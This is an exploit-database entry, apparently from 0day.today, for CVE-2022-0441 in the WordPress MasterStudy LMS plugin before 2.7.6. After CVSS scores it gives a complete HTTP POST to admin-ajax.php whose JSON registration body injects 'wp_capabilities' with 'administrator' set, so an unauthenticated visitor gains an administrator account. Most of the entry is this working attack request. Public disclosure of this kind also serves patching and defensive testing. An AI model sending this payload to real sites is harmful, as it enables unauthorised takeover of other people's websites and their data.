WordPress MasterStudy LMS 2.7.5 Plugin - Unauthenticated Admin Account Creation Vulnerability

2022-02-1800:00:00

numan türle

0day.today

158

9.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

NONE

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

7.5 High

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

NONE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:N/C:P/I:P/A:P

JSON

# Title: WordPress Plugin MasterStudy LMS 2.7.5 - Unauthenticated Admin Account Creation
# Author: Numan Türle
# CVE: CVE-2022-0441
# Software Link: https://wordpress.org/plugins/masterstudy-lms-learning-management-system/
# Version: <2.7.6
# https://www.youtube.com/watch?v=SI_O6CHXMZk
# https://gist.github.com/numanturle/4762b497d3b56f1a399ea69aa02522a6
# https://wpscan.com/vulnerability/173c2efe-ee9c-4539-852f-c242b4f728ed


POST /wp-admin/admin-ajax.php?action=stm_lms_register&nonce=[NONCE] HTTP/1.1
Connection: close
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip, deflate
Accept-Language: tr,en;q=0.9,tr-TR;q=0.8,en-US;q=0.7,el;q=0.6,zh-CN;q=0.5,zh;q=0.4
Content-Type: application/json
Content-Length: 339

{"user_login":"USERNAME","user_email":"[email protected]","user_password":"PASSWORD","user_password_re":"PASSWORD","become_instructor":"","privacy_policy":true,"degree":"","expertize":"","auditory":"","additional":[],"additional_instructors":[],"profile_default_fields_for_register":{"wp_capabilities":{"value":{"administrator":1}}}}